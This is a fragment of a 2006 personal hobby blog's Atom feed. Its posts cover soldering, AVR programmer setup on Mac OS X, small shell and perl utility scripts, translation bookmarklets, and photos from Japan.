Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/115361636616737837'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/115361636616737837'/><link rel='alternate' type='text/html' href='http://stuffthingsandjunk.blogspot.com/2006/07/fix-audio-output-selection-in-mac-os-x.html' title='Fix audio output selection in Mac OS X 10.4.x'/><author><name>Nick</name><uri>http://www.blogger.com/profile/18246605560580979258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://brokentoaster.com/p45/images/HeadXray_clr_Medium.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14888785.post-115183293148623683</id><published>2006-07-02T10:35:00.000+01:00</published><updated>2006-07-06T03:27:34.836+01:00</updated><title type='text'></title><content type='html'>&lt;b&gt;How to peel cooked potato skin in one shot.&lt;/b&gt;&lt;br /&gt;&lt;object width="425" height="350"&gt;&lt;param name="movie" value="http://youtube.com/v/37GVvxcyz6I"&gt;&lt;/param&gt;&lt;embed src="http://youtube.com/v/37GVvxcyz6I" type="application/x-shockwave-flash" width="425" height="350"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br&gt;finally the internet is useful. It's odd that I would move to Japan and then only watch Japanese TV on the internet ;). Oh well life's funny like that.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14888785-115183293148623683?l=stuffthingsandjunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stuffthingsandjunk.blogspot.com/feeds/115183293148623683/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14888785&amp;postID=115183293148623683' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/115183293148623683'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/115183293148623683'/><link rel='alternate' type='text/html' href='http://stuffthingsandjunk.blogspot.com/2006/07/how-to-peel-cooked-potato-skin-in-one.html' title=''/><author><name>Nick</name><uri>http://www.blogger.com/profile/18246605560580979258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://brokentoaster.com/p45/images/HeadXray_clr_Medium.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14888785.post-115182877971224676</id><published>2006-07-02T09:26:00.000+01:00</published><updated>2006-07-02T09:26:19.746+01:00</updated><title type='text'></title><content type='html'>&lt;b&gt;Soldering Videos&lt;/b&gt;&lt;br /&gt;&lt;object width="425" height="350"&gt;&lt;param name="movie" value="http://youtube.com/v/kAADFKkmqUg"&gt;&lt;/param&gt;&lt;embed src="http://youtube.com/v/kAADFKkmqUg" type="application/x-shockwave-flash" width="425" height="350"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br&gt;Thought I'd finally upload my soldering videos to help anyone learning to solder... (perhaps its an example what not to do ;) )&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14888785-115182877971224676?l=stuffthingsandjunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stuffthingsandjunk.blogspot.com/feeds/115182877971224676/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14888785&amp;postID=115182877971224676' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/115182877971224676'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/115182877971224676'/><link rel='alternate' type='text/html' href='http://stuffthingsandjunk.blogspot.com/2006/07/soldering-videos-thought-id-finally.html' title=''/><author><name>Nick</name><uri>http://www.blogger.com/profile/18246605560580979258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://brokentoaster.com/p45/images/HeadXray_clr_Medium.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14888785.post-114976700440242786</id><published>2006-06-08T12:40:00.000+01:00</published><updated>2006-06-08T12:52:27.503+01:00</updated><title type='text'>Host your own photocasts.</title><content type='html'>Great piece of software at &lt;a href="http://globs.org/articles.php?lng=en&amp;pg=265"&gt;http://globs.org/articles.php?lng=en&amp;amp;pg=265&lt;/a&gt;&lt;br /&gt;allows you to host your iPhoto libraries and publish photocasts.&lt;br /&gt;&lt;br /&gt;Nice if you have lots of bandwidth and are too lazy to upload all your photos too flickr. ( which is pretty much my situation ;)  )&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14888785-114976700440242786?l=stuffthingsandjunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stuffthingsandjunk.blogspot.com/feeds/114976700440242786/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14888785&amp;postID=114976700440242786' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/114976700440242786'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/114976700440242786'/><link rel='alternate' type='text/html' href='http://stuffthingsandjunk.blogspot.com/2006/06/host-your-own-photocasts.html' title='Host your own photocasts.'/><author><name>Nick</name><uri>http://www.blogger.com/profile/18246605560580979258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://brokentoaster.com/p45/images/HeadXray_clr_Medium.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14888785.post-114976626843532364</id><published>2006-06-08T12:27:00.000+01:00</published><updated>2006-12-12T19:48:54.476Z</updated><title type='text'></title><content type='html'>http://media.revver.com/broadcast/23037/video.mov&lt;br /&gt;(Firefox propaganda movie no longer embedded)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14888785-114976626843532364?l=stuffthingsandjunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stuffthingsandjunk.blogspot.com/feeds/114976626843532364/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14888785&amp;postID=114976626843532364' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/114976626843532364'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/114976626843532364'/><link rel='alternate' type='text/html' href='http://stuffthingsandjunk.blogspot.com/2006/06/httpmedia.html' title=''/><author><name>Nick</name><uri>http://www.blogger.com/profile/18246605560580979258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://brokentoaster.com/p45/images/HeadXray_clr_Medium.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14888785.post-114933724302450975</id><published>2006-06-03T13:17:00.000+01:00</published><updated>2006-06-03T13:20:43.056+01:00</updated><title type='text'>what the Flickr?</title><content type='html'>&lt;style type="text/css"&gt;.flickr-photo { border: solid 1px #000000; }.flickr-frame { float: left; text-align: center; margin-right: 15px; margin-bottom: 15px; }.flickr-caption { font-size: 0.8em; margin-top: 0px; }&lt;/style&gt;&lt;div class="flickr-frame"&gt;	&lt;a href="http://www.flickr.com/photos/nicklott/152282712/" title="photo sharing"&gt;&lt;img src="http://static.flickr.com/45/152282712_b234f59b44_t.jpg" class="flickr-photo" alt="ButterflyMP3_LCDAdapter - 4" /&gt;&lt;/a&gt;&lt;br /&gt;	&lt;span class="flickr-caption"&gt;		&lt;a href="http://www.flickr.com/photos/nicklott/152282712/"&gt;ButterflyMP3_LCDAdapter - 4&lt;/a&gt;,&lt;br /&gt; originally uploaded by &lt;a href="http://www.flickr.com/people/nicklott/"&gt;Brokentoaster&lt;/a&gt;.	&lt;/span&gt;&lt;/div&gt;Dunno what's been up with flicker lately but it screwed up all my photos for the last few days. No biggie. I guess that's what you get for using beta ( or now gamma) software. ;)&lt;br clear="all" /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14888785-114933724302450975?l=stuffthingsandjunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stuffthingsandjunk.blogspot.com/feeds/114933724302450975/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14888785&amp;postID=114933724302450975' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/114933724302450975'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/114933724302450975'/><link rel='alternate' type='text/html' href='http://stuffthingsandjunk.blogspot.com/2006/06/what-flickr.html' title='what the Flickr?'/><author><name>Nick</name><uri>http://www.blogger.com/profile/18246605560580979258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://brokentoaster.com/p45/images/HeadXray_clr_Medium.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14888785.post-114843206097888743</id><published>2006-05-24T01:51:00.000+01:00</published><updated>2006-05-24T01:54:21.020+01:00</updated><title type='text'>New PCBs arrived</title><content type='html'>&lt;style type="text/css"&gt;.flickr-photo { border: solid 1px #000000; }.flickr-frame { float: left; text-align: center; margin-right: 15px; margin-bottom: 15px; }.flickr-caption { font-size: 0.8em; margin-top: 0px; }&lt;/style&gt;&lt;div class="flickr-frame"&gt;	&lt;a href="http://www.flickr.com/photos/nicklott/152134630/" title="photo sharing"&gt;&lt;img src="http://static.flickr.com/45/152134630_b234f59b44_t.jpg" class="flickr-photo" alt="ButterflyMP3_LCDAdapter - 4" /&gt;&lt;/a&gt;&lt;br /&gt;	&lt;span class="flickr-caption"&gt;		&lt;a href="http://www.flickr.com/photos/nicklott/152134630/"&gt;ButterflyMP3_LCDAdapter - 4&lt;/a&gt;,&lt;br /&gt; originally uploaded by &lt;a href="http://www.flickr.com/people/nicklott/"&gt;Brokentoaster&lt;/a&gt;.	&lt;/span&gt;&lt;/div&gt;all right ! its always a good day when the postman turns up with a package from Bulgaria. My PCBs for my CC entries have arrived so its time to do some serious soldering. Here's a picture of my LCD adapter for a  4096 colour 128x128 pixel display. Now all I have to do is write some code to support it...&lt;br clear="all" /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14888785-114843206097888743?l=stuffthingsandjunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stuffthingsandjunk.blogspot.com/feeds/114843206097888743/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14888785&amp;postID=114843206097888743' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/114843206097888743'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/114843206097888743'/><link rel='alternate' type='text/html' href='http://stuffthingsandjunk.blogspot.com/2006/05/new-pcbs-arrived.html' title='New PCBs arrived'/><author><name>Nick</name><uri>http://www.blogger.com/profile/18246605560580979258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://brokentoaster.com/p45/images/HeadXray_clr_Medium.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14888785.post-114606828919445307</id><published>2006-04-26T17:18:00.000+01:00</published><updated>2006-04-26T17:18:09.233+01:00</updated><title type='text'>good old reliable MS</title><content type='html'>&lt;style type="text/css"&gt;.flickr-photo { border: solid 1px #000000; }.flickr-frame { float: left; text-align: center; margin-right: 15px; margin-bottom: 15px; }.flickr-caption { font-size: 0.8em; margin-top: 0px; }&lt;/style&gt;&lt;div class="flickr-frame"&gt;	&lt;a href="http://www.flickr.com/photos/nicklott/135426466/" title="photo sharing"&gt;&lt;img src="http://static.flickr.com/54/135426466_4d9b1f49eb_t.jpg" class="flickr-photo" alt="HongKong(022)" /&gt;&lt;/a&gt;&lt;br /&gt;	&lt;span class="flickr-caption"&gt;		&lt;a href="http://www.flickr.com/photos/nicklott/135426466/"&gt;HongKong(022)&lt;/a&gt;,&lt;br /&gt; originally uploaded by &lt;a href="http://www.flickr.com/people/nicklott/"&gt;Brokentoaster&lt;/a&gt;.	&lt;/span&gt;&lt;/div&gt;what can I say. I took this photo in a Hong Kong subway station on the weekend. I'm glad the trains still have someone human driving them cos I don't want to be onboard when they need to reboot :)&lt;br clear="all" /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14888785-114606828919445307?l=stuffthingsandjunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stuffthingsandjunk.blogspot.com/feeds/114606828919445307/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14888785&amp;postID=114606828919445307' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/114606828919445307'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/114606828919445307'/><link rel='alternate' type='text/html' href='http://stuffthingsandjunk.blogspot.com/2006/04/good-old-reliable-ms.html' title='good old reliable MS'/><author><name>Nick</name><uri>http://www.blogger.com/profile/18246605560580979258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://brokentoaster.com/p45/images/HeadXray_clr_Medium.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14888785.post-114421843781723353</id><published>2006-04-05T07:27:00.000+01:00</published><updated>2006-04-05T07:27:17.840+01:00</updated><title type='text'>Spring is here</title><content type='html'>&lt;style type="text/css"&gt;.flickr-photo { border: solid 1px #000000; }.flickr-frame { float: left; text-align: center; margin-right: 15px; margin-bottom: 15px; }.flickr-caption { font-size: 0.8em; margin-top: 0px; }&lt;/style&gt;&lt;div class="flickr-frame"&gt;	&lt;a href="http://www.flickr.com/photos/nicklott/123532811/" title="photo sharing"&gt;&lt;img src="http://static.flickr.com/37/123532811_17e0c81a6c_t.jpg" class="flickr-photo" alt="blossoms on the river bank" /&gt;&lt;/a&gt;&lt;br /&gt;	&lt;span class="flickr-caption"&gt;		&lt;a href="http://www.flickr.com/photos/nicklott/123532811/"&gt;blossoms on the river bank&lt;/a&gt;,&lt;br /&gt; originally uploaded by &lt;a href="http://www.flickr.com/people/nicklott/"&gt;Brokentoaster&lt;/a&gt;.	&lt;/span&gt;&lt;/div&gt;Spring is here and Japan has turned pink. This answers my question about what the hell was with the crazy pink wallpaper on my PSP this month :) &lt;br /&gt;This photo was taken on Sunday looking down a river bank near Asakadai / Kita-Asaka  station.&lt;br clear="all" /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14888785-114421843781723353?l=stuffthingsandjunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stuffthingsandjunk.blogspot.com/feeds/114421843781723353/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14888785&amp;postID=114421843781723353' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/114421843781723353'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/114421843781723353'/><link rel='alternate' type='text/html' href='http://stuffthingsandjunk.blogspot.com/2006/04/spring-is-here.html' title='Spring is here'/><author><name>Nick</name><uri>http://www.blogger.com/profile/18246605560580979258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://brokentoaster.com/p45/images/HeadXray_clr_Medium.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14888785.post-114338794209961180</id><published>2006-03-26T16:45:00.000+01:00</published><updated>2006-03-26T17:16:51.446+01:00</updated><title type='text'>AVR ISP programmer on the Mac</title><content type='html'>For anyone using a Mac for AVR development, just thought I'd say I've managed to get an ISPAVRU1 from &lt;a href="http://www.ere.co.th"&gt;ERE CO., LTD.&lt;/a&gt; to work with OS 10.4&lt;br /&gt;&lt;br /&gt;It uses a standard FTDI driver but ERE use their own Device id (0xCEA0 or 52896 ). I simply modified the Info.plist file in &lt;br /&gt;&lt;i&gt;/System/Library/Extensions/FTDIUSBSerialDriver.kext/Contents/&lt;/i&gt; to contain the following extra key in the right place (under IO kit personalities).....&lt;br /&gt;&lt;br /&gt;&lt;code&gt;            &amp;lt;key&amp;gt;ISPAVRU1&amp;lt;/key&amp;gt;&lt;br /&gt;                &amp;lt;dict&amp;gt;&lt;br /&gt;                        &amp;lt;key&amp;gt;CFBundleIdentifier&amp;lt;/key&amp;gt;&lt;br /&gt;                        &amp;lt;string&amp;gt;com.FTDI.driver.FTDIUSBSerialDriver&amp;lt;/string&amp;gt;&lt;br /&gt;                        &amp;lt;key&amp;gt;IOClass&amp;lt;/key&amp;gt;&lt;br /&gt;                        &amp;lt;string&amp;gt;FTDIUSBSerialDriver&amp;lt;/string&amp;gt;&lt;br /&gt;                        &amp;lt;key&amp;gt;IOProviderClass&amp;lt;/key&amp;gt;&lt;br /&gt;                        &amp;lt;string&amp;gt;IOUSBInterface&amp;lt;/string&amp;gt;&lt;br /&gt;                        &amp;lt;key&amp;gt;bConfigurationValue&amp;lt;/key&amp;gt;&lt;br /&gt;                        &amp;lt;integer&amp;gt;1&amp;lt;/integer&amp;gt;&lt;br /&gt;                        &amp;lt;key&amp;gt;bInterfaceNumber&amp;lt;/key&amp;gt;&lt;br /&gt;                        &amp;lt;integer&amp;gt;0&amp;lt;/integer&amp;gt;&lt;br /&gt;                        &amp;lt;key&amp;gt;bcdDevice&amp;lt;/key&amp;gt;&lt;br /&gt;                        &amp;lt;integer&amp;gt;1024&amp;lt;/integer&amp;gt;&lt;br /&gt;                        &amp;lt;key&amp;gt;idProduct&amp;lt;/key&amp;gt;&lt;br /&gt;                        &amp;lt;integer&amp;gt;52896&amp;lt;/integer&amp;gt;&lt;br /&gt;                        &amp;lt;key&amp;gt;idVendor&amp;lt;/key&amp;gt;&lt;br /&gt;                        &amp;lt;integer&amp;gt;1027&amp;lt;/integer&amp;gt;&lt;br /&gt;                &amp;lt;/dict&amp;gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt; If the driver is loaded correctly you should be able to see something like the following in your /dev/ directory.&lt;br /&gt;&lt;br /&gt;&lt;i&gt;/dev/cu.usbserial-ER051111  &lt;br /&gt;/dev/tty.usbserial-ER051111&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;I use this command line with avrdude to talk to it. :)&lt;br /&gt;avrdude -p m169 -P /dev/cu.usbserial-ER051111 -c avrisp2 -t&lt;br /&gt;&lt;br /&gt;I'd make a complete modified driver package but I can't be bothered figuring out how to use the pax archiver to re wrap things back uip again.&lt;br /&gt;&lt;br /&gt;Hope someone finds this useful :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14888785-114338794209961180?l=stuffthingsandjunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stuffthingsandjunk.blogspot.com/feeds/114338794209961180/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14888785&amp;postID=114338794209961180' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/114338794209961180'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/114338794209961180'/><link rel='alternate' type='text/html' href='http://stuffthingsandjunk.blogspot.com/2006/03/avr-isp-programmer-on-mac.html' title='AVR ISP programmer on the Mac'/><author><name>Nick</name><uri>http://www.blogger.com/profile/18246605560580979258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://brokentoaster.com/p45/images/HeadXray_clr_Medium.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14888785.post-114157677344110757</id><published>2006-03-05T16:39:00.000Z</published><updated>2006-03-05T16:39:33.463Z</updated><title type='text'>dos 2 unix converter</title><content type='html'>quick script to convert win32 txt to unix CRLF -&gt; LF&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#!/bin/sh&lt;br /&gt;for file&lt;br /&gt;do&lt;br /&gt;        perl -pi.bak -e 's/\r\n?/\n/g;' $file&lt;br /&gt;done&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14888785-114157677344110757?l=stuffthingsandjunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stuffthingsandjunk.blogspot.com/feeds/114157677344110757/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14888785&amp;postID=114157677344110757' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/114157677344110757'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/114157677344110757'/><link rel='alternate' type='text/html' href='http://stuffthingsandjunk.blogspot.com/2006/03/dos-2-unix-converter.html' title='dos 2 unix converter'/><author><name>Nick</name><uri>http://www.blogger.com/profile/18246605560580979258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://brokentoaster.com/p45/images/HeadXray_clr_Medium.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14888785.post-114157142948806811</id><published>2006-03-05T15:10:00.000Z</published><updated>2006-03-05T15:10:29.526Z</updated><title type='text'>Quick Backup</title><content type='html'>Quick backup command. thought I'd put it here before i forget it. just gzips and tars everythingin directory. &lt;br /&gt;&lt;br /&gt;tar zcvf ../backup`date +%y%m%d%H%M%S`.tgz . &lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14888785-114157142948806811?l=stuffthingsandjunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stuffthingsandjunk.blogspot.com/feeds/114157142948806811/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14888785&amp;postID=114157142948806811' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/114157142948806811'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/114157142948806811'/><link rel='alternate' type='text/html' href='http://stuffthingsandjunk.blogspot.com/2006/03/quick-backup.html' title='Quick Backup'/><author><name>Nick</name><uri>http://www.blogger.com/profile/18246605560580979258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://brokentoaster.com/p45/images/HeadXray_clr_Medium.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14888785.post-113824987282098029</id><published>2006-01-26T04:31:00.000Z</published><updated>2006-01-26T04:34:58.893Z</updated><title type='text'>Translate buttons for Safari</title><content type='html'>A bit of mucking about today and I adapted my Del.icio.us buttons to work with google translate.&lt;br /&gt;&lt;br /&gt;You can grab this like &lt;a href="javascript:location.href='http://www.google.com/translate?u='+encodeURIComponent(location.href)+'&amp;langpair=ja%7Cen&amp;hl=en&amp;ie=UTF8'"&gt; here&lt;/a&gt; and drag it to your tool bar to translate any japanese page into english.&lt;br /&gt;&lt;br /&gt;Edit the "langpair" option in the bookmark to change languages&lt;br /&gt;&lt;br /&gt;you could try &lt;a href="javascript:location.href='http://www.rikai.com/perl/LangMediator.En.pl?mediate_uri='+encodeURIComponent(location.href)"&gt;this one&lt;/a&gt; using &lt;a href="http://www.rikai.com/"&gt;www.rikai.com&lt;/a&gt; for mouse over translation.&lt;br /&gt;&lt;br /&gt;URL is below&lt;/br&gt;&lt;br /&gt;javascript:location.href='http://www.rikai.com/perl/LangMediator.En.pl?mediate_uri='+encodeURIComponent(location.href)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14888785-113824987282098029?l=stuffthingsandjunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stuffthingsandjunk.blogspot.com/feeds/113824987282098029/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14888785&amp;postID=113824987282098029' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/113824987282098029'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/113824987282098029'/><link rel='alternate' type='text/html' href='http://stuffthingsandjunk.blogspot.com/2006/01/translate-buttons-for-safari.html' title='Translate buttons for Safari'/><author><name>Nick</name><uri>http://www.blogger.com/profile/18246605560580979258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://brokentoaster.com/p45/images/HeadXray_clr_Medium.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14888785.post-113816138009883455</id><published>2006-01-25T03:56:00.000Z</published><updated>2006-01-25T03:56:20.290Z</updated><title type='text'>Google memory search</title><content type='html'>Had an idea for a great Instant messenger add on app. It would be wicked to have something like google adwords for IM, but instead of ads, showing relevant excerpts from past chats and web history. &lt;br /&gt;&lt;br /&gt;Essentially google for your brain.&lt;br /&gt;&lt;br /&gt;So as you chat about the best way to skin a cat you can have a side window showing the time you talked about cat skinning with your uncle Owswald, and where you can buy cat skinning tools, and web pages about cat skinning. The trick of course is deciding what is relevant and doing it in a non invasive manner.  Maybe google could do this, maybe thats the future of http://www.google.com/talk/ (yet another IM client).&lt;br /&gt;&lt;br /&gt;Why limit just to IM why not  live search your whole computing experience?&lt;br /&gt;&lt;br /&gt;What would distinguish this from existing desktop searching (google desktop/ yahoo/ spotlight) is that it would be live updating and passive ( no user effort ) perhaps something that hooks into standard edit boxes the way the system wide spellcheck does in Mac OSX.&lt;br /&gt;&lt;br /&gt;Only if you could make it so the user didn't know they were using it would it be useful. If the user has to think about searching then the product is dead because as soon as I think about searching  I may as well do a full search, but if its just there like a cup of coffee on your desk and you sip with out thinking then it would work..&lt;br /&gt;&lt;br /&gt;perhaps this will be in OS X 10.6 .. Spotlight 2 ( the version that works :) )&lt;br /&gt; &lt;br /&gt;Today is defiantly one of those verbal diarrhea days the ideas keep coming no time to filter.... oh well.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14888785-113816138009883455?l=stuffthingsandjunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stuffthingsandjunk.blogspot.com/feeds/113816138009883455/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14888785&amp;postID=113816138009883455' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/113816138009883455'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/113816138009883455'/><link rel='alternate' type='text/html' href='http://stuffthingsandjunk.blogspot.com/2006/01/google-memory-search.html' title='Google memory search'/><author><name>Nick</name><uri>http://www.blogger.com/profile/18246605560580979258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://brokentoaster.com/p45/images/HeadXray_clr_Medium.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14888785.post-113815621771535211</id><published>2006-01-25T02:30:00.000Z</published><updated>2006-01-25T02:30:17.760Z</updated><title type='text'>Etoire in Snow</title><content type='html'>&lt;style type="text/css"&gt;.flickr-photo { border: solid 1px #000000; }.flickr-frame { float: left; text-align: center; margin-right: 15px; margin-bottom: 15px; }.flickr-caption { font-size: 0.8em; margin-top: 0px; }&lt;/style&gt;&lt;div class="flickr-frame"&gt;	&lt;a href="http://www.flickr.com/photos/nicklott/90850002/" title="photo sharing"&gt;&lt;img src="http://static.flickr.com/24/90850002_546baa084d_t.jpg" class="flickr-photo" alt="Etoire in Snow" /&gt;&lt;/a&gt;&lt;br /&gt;	&lt;span class="flickr-caption"&gt;		&lt;a href="http://www.flickr.com/photos/nicklott/90850002/"&gt;Etoire in Snow&lt;/a&gt;,&lt;br /&gt; originally uploaded by &lt;a href="http://www.flickr.com/people/nicklott/"&gt;Brokentoaster&lt;/a&gt;.	&lt;/span&gt;&lt;/div&gt;Alright finally a snow day. Thought I'd test out the new wifi enabled Nikon coolpix p2 I bought for my mum with some photos of Miyoshi town.&lt;br clear="all" /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14888785-113815621771535211?l=stuffthingsandjunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' 